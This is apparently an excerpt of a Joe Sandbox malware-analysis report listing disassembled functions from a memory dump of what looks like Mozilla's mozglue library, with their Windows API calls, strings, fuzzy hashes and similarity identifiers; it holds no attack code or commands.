Opcode Fuzzy Hash: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction Fuzzy Hash: F5B1B0B1A04209DBDB04CF99CCA6BEEBBB6AF88318F104429D401ABF80D7759D45CBD5

Function 6C5CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CCAA5

Strings

0, xrefs: 6C5CD30A
(null), xrefs: 6C5CC596

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction ID: 238b23af7ec283966682840a5b1c22be70c2c3009ccf85bec683c40507c2adb6
Opcode Fuzzy Hash: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction Fuzzy Hash: A2A19A307083429FDB10DF69C98875ABBE1AF89748F04882DE99AD7741D735E809CB97

Function 6C5CC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5CC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5CC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CC891

Strings

INF, xrefs: 6C5CC794
NAN, xrefs: 6C5CC7AD
nan, xrefs: 6C5CC7A8
inf, xrefs: 6C5CC78F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction ID: 93c3154dca050eaba83730fce7331c3e532e3546df05bd62fb311b7793b6d341
Opcode Fuzzy Hash: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction Fuzzy Hash: 5B51A5706087448BD700EFADC98169BFBF0BF9A308F004A2DE9D5A7650E775E9858B43

Function 6C5A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5A350E
__Init_thread_footer.LIBCMT ref: 6C5A3522
__aulldiv.LIBCMT ref: 6C5A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3592

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

kernel32.dll, xrefs: 6C5A34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5A3508

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction ID: cbbbbe47fd31ba4fa95100fc93d1585da9a89e9a3c0c38f7cf39bf8eae584c33
Opcode Fuzzy Hash: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction Fuzzy Hash: EF319271B002159BDF00DFBACD88EAE77B5FB89305F100419E541936A0DB78E906CF55

Function 6C5A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5E4843,?), ref: 6C5A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5E4843,?), ref: 6C5A468A
free.MOZGLUE(?,?,?,?,?,?,6C5E4843,?), ref: 6C5A46C9
free.MOZGLUE(?), ref: 6C5A46EF
free.MOZGLUE(?), ref: 6C5A4712
free.MOZGLUE(?), ref: 6C5A4735
free.MOZGLUE(?), ref: 6C5A4758
free.MOZGLUE(?), ref: 6C5A477B
free.MOZGLUE(?), ref: 6C5A479E

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction ID: b235b85f31c7b100b1b88b28b9a7c123636ee0a92927097124baa914d3a6f86f
Opcode Fuzzy Hash: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction Fuzzy Hash: 58B10571A001518FDB18CEFDDC9076D77A2AF86328F184668E416DBB92EB31DC428B91

Function 6C60AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C60AC52
CreateFileMappingW.KERNEL32 ref: 6C60AC7D
GetSystemInfo.KERNEL32 ref: 6C60AC98
MapViewOfFile.KERNEL32 ref: 6C60ACB0
GetSystemInfo.KERNEL32 ref: 6C60ACCD
MapViewOfFile.KERNEL32 ref: 6C60AD05
UnmapViewOfFile.KERNEL32 ref: 6C60AD1C
CloseHandle.KERNEL32 ref: 6C60AD28
UnmapViewOfFile.KERNEL32 ref: 6C60AD37
CloseHandle.KERNEL32 ref: 6C60AD43
CloseHandle.KERNEL32 ref: 6C60AD67

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction ID: bf8bfe9abb2f62120e484287ac4ed580bcf8d47285b516996b0da01be76345cb
Opcode Fuzzy Hash: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction Fuzzy Hash: 563190B1A043048FDB00AF7DD68826EBBF0FF85345F05892DE98697241EB749449CB86

Function 6C5B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

NtMapViewOfSection, xrefs: 6C5B9701
MapViewOfFileNuma2, xrefs: 6C5B97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
ntdll.dll, xrefs: 6C5B96E3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction ID: 726b85e24ac7c84d8d5ea3b8a1c7dda6cc5fca7ae0cf3e248580861b6cff9084
Opcode Fuzzy Hash: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction Fuzzy Hash: 2641A0756003169BDF00CFA6ECE4A977BB4EB8A354F114128ED55A7740D738E805CFAA

Function 6C5F0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5F0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5F0041
GetCurrentThreadId.KERNEL32 ref: 6C5F0075
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5F0090
free.MOZGLUE(?), ref: 6C5F0104
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5F005B

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction ID: 0eb772bf9908e6596cba5fe7f507e46c04ecbb69b9be0c314c8e5e05914ccc09
Opcode Fuzzy Hash: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction Fuzzy Hash: A4419CB1600654DFCB10CF65CC80A9ABBF1FF89318F44491EE95A93B40D735A805CF9A

Function 6C5B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B7EA7
malloc.MOZGLUE(00000001), ref: 6C5B7EB3

Part of subcall function 6C5BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5BCB49
Part of subcall function 6C5BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5B7F19
malloc.MOZGLUE(?), ref: 6C5B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B7F4D

Strings

d, xrefs: 6C5B7F89

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction ID: 83313b412103125404552f21bd1eb796919a6c4a3b35b4f62e64ca8bac2aa9cd
Opcode Fuzzy Hash: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction Fuzzy Hash: 06312671E0438897DB019B39CC409FEB778EF96248F055229ED4967612FB34A988C398

Function 6C5B3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4157

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 638c05664b1b9703153542f3fbf18edb8bb9a733c28869e8d6ff175399c6a648
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8AA17EB1A00215CFDB50CF68C89065ABBB5FF88318F2545A9D909AF752D771E886CBA0

Function 6C5A2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5C3F47,?,?,?,6C5C3F47,6C5C1A70,?), ref: 6C5A207F
memset.VCRUNTIME140(?,000000E5,6C5C3F47,?,6C5C3F47,6C5C1A70,?), ref: 6C5A20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5C3F47,6C5C1A70,?), ref: 6C5A211A
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21BA
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21E0
LeaveCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2232

Strings

MOZ_CRASH(), xrefs: 6C5A227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5A2253, 6C5A2268

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction ID: f906794ea276d6b7bf528a3efdfbbbe4a353718c8b8b2fe4fc34d5b5ade621a2
Opcode Fuzzy Hash: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction Fuzzy Hash: 8361C231F002168FCB04CAABCD8A76E76B1EF85318F254639E929A7A94D7749C01CA85

Function 6C5F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8273), ref: 6C5F9D65
free.MOZGLUE(6C5F8273,?), ref: 6C5F9D7C
free.MOZGLUE(?,?), ref: 6C5F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F9E0F
free.MOZGLUE(6C5F946B,?,?), ref: 6C5F9E24
free.MOZGLUE(?,?,?), ref: 6C5F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F9EC8
free.MOZGLUE(6C5F946B,?,?,?), ref: 6C5F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5F9EF5

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction ID: 14cf36fab5c8c4ff030dd84be57df243b4357bda1339c2fbb0f3b53d882bc4a9
Opcode Fuzzy Hash: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction Fuzzy Hash: 1E719DB0A09B41CBC716CF58C88059AF3F4FF99314B84965DE95A9B701EB30E886CBD1

Function 6C5FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5FDDCF

Part of subcall function 6C5DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5DFA4B

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE0D
free.MOZGLUE(00000000), ref: 6C5FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF32

Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDB86
Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF65
free.MOZGLUE(?), ref: 6C5FDF80

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction ID: e9d9f3a7715c3da00ed2307247d91099d61ff5c943ff41bb846aa0dd65ddfe1b
Opcode Fuzzy Hash: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction Fuzzy Hash: C451A3726016009BE7199F28CC806AEB376AFD1308F95051CDA2A53B00DB31F91BCF96

Function 6C605D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DC9
std::_Facet_Register.LIBCPMT ref: 6C605DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E45

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
